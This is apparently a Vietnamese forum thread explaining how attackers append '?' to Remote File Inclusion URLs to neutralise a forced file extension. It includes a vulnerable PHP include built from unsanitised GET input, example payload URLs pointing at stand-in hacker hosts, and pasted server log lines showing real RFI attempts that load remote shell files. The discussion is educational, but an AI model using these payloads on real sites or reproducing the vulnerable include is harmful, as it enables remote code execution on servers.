10/10/2018, 09:43

Hỏi về Remote_File_Inclusion(RFI)

Bài gốc là http://en.wikipedia.org/wiki/Remote_File_Inclusion
Đọc đến đoạn thêm dấu chấm ? vào
http://www.malicious.example.com/C99.txt??
thì em ko hiểu lắm, trong đó nó ko nói rõ. dấu ? có nghĩa là gì vậy mọi người.
Nói thay như thế thì
http://www.vulnerable.example.org/in...C99.php??.html
có phải ko ạ
s.code viết 11:51 ngày 10/10/2018
ví dụ:

http://domain.com/index.php?page=intro

==> trong code nó sẽ inlcude file intro.html ==> làm thế nào loại bỏ dc cái .html đó thì nó thêm dấu ? kiểu truy vấn. Lúc đó sẽ là inlucde file

C99.txt? => C99.txt?.html => hợp lệ.

Site tôi bị bug thế này liên tục. Bộ log của site tôi ghi nhận lại nè:

forum/topic///index.php?_SERVER[DOCUMENT_ROOT]=http://aiplaw.com/bbs//fx29id1.txt??? forum///index.php?_SERVER[DOCUMENT_ROOT]=http://aiplaw.com/bbs//fx29id1.txt??? forum/topic/19///index.php?_SERVER[DOCUMENT_ROOT]=http://aiplaw.com/bbs//fx29id1.txt??? forum/topic/19/loi-khi-cai-dat.html ///index.php?_SERVER[DOCUMENT_ROOT]=http://aiplaw.com/bbs//fx29id1.txt??? forum/topic/19/loi-khi-cai-dat.html//appserv/main.php?appserv_root=http://kpbclub.ru//components/com_virtuemart/id.txt??? forum/topic/5//appserv/main.php?appserv_root=http://kpbclub.ru//components/com_virtuemart/id.txt??? forum/topic//appserv/main.php?appserv_root=http://kpbclub.ru//components/com_virtuemart/id.txt??? forum/topic/19//appserv/main.php?appserv_root=http://kpbclub.ru//components/com_virtuemart/id.txt??? forum/topic/19//appserv/main.php?appserv_root=http://www.sacvalleyhomes.com/id.txt?? forum/topic//appserv/main.php?appserv_root=http://www.sacvalleyhomes.com/id.txt?? forum/topic/5///?_SERVER[DOCUMENT_ROOT]=http://dwno.or.kr/bbs/zipcode/tes?? forum///?_SERVER[DOCUMENT_ROOT]=http://dwno.or.kr/bbs/zipcode/tes??
Nhưng ăn thua gì đâu. Chỉ là bug thôi. Mỗi ngày bị cả chục lần bọn nào nó bug.
snoob viết 11:50 ngày 10/10/2018
Cái đó em cũng biết chút chút, nhưng quan trọng là dấu ? ở đây có nghĩa gì:
C99.txt?.html
s.code viết 11:43 ngày 10/10/2018
Dấu ? kết thúc 1 đường dẫn file thực và bắt đầu sau đó là chuỗi truy vấn. ví dụ có file sau:

http://domain.com/photo.jpg <= là dường dẫn 1 file hình.

Nhưng nếu bạn thêm chuỗi truy vấn sau dấu ? thì nó vẫn gọi cái file này;

http://domain.com/photo.jpg?abc=1&xyz=2

Nó sẽ không thèm để ý gì đến chuỗi sau dấu ?.

Mục đích để vô hiệu hóa cái chuỗi mà trong code nó đã nhúng. Vì nếu không có thì sau khi code nhúng thêm cái chuỗi extension (.php, .html) thì sẽ trở thành 1 đường dẫn đến file không tồn tại.

1 ví dụ cụ thể nhé:

bạn có 1 trang như sau:

PHP Code:
$page $_GET***91;'page'***93;;
include(
"template/$page.html"); 
Như vậy giả sử những link hợp lệ như sau:

http://domain.com/test.php?page=gioithieu

==> include("template/gioithieu.html"); OK

http://domain.com/test.php?page=dichvu

==> include("template/gioithieu.html"); OK

Nhưng hacker nó muốn remote cái file này: Ví dụ nó remote cái file ở site khác là:

http://hacker.com/test.php
=> đường dẫn remote là:

http://domain.com/test.php?page=http...r.com/test.php

Nhưng lúc đó code nó sẽ là:

include("template/http://hacker.com/test.php.html") => cái file này không tồn tại

Vậy nó sẽ thêm dấu ? vào =>

http://domain.com/test.php?page=http....com/test.php?

==> code sẽ là:

include("template/http://hacker.com/test.php?.html") => như vậy cái extension .html vô tác dụng. Thực tế nó vẫn include file http://hacker.com/test.php.
snoob viết 11:46 ngày 10/10/2018
Hiểu rùi, thanks anh s.code lắm lắm
Bài liên quan
0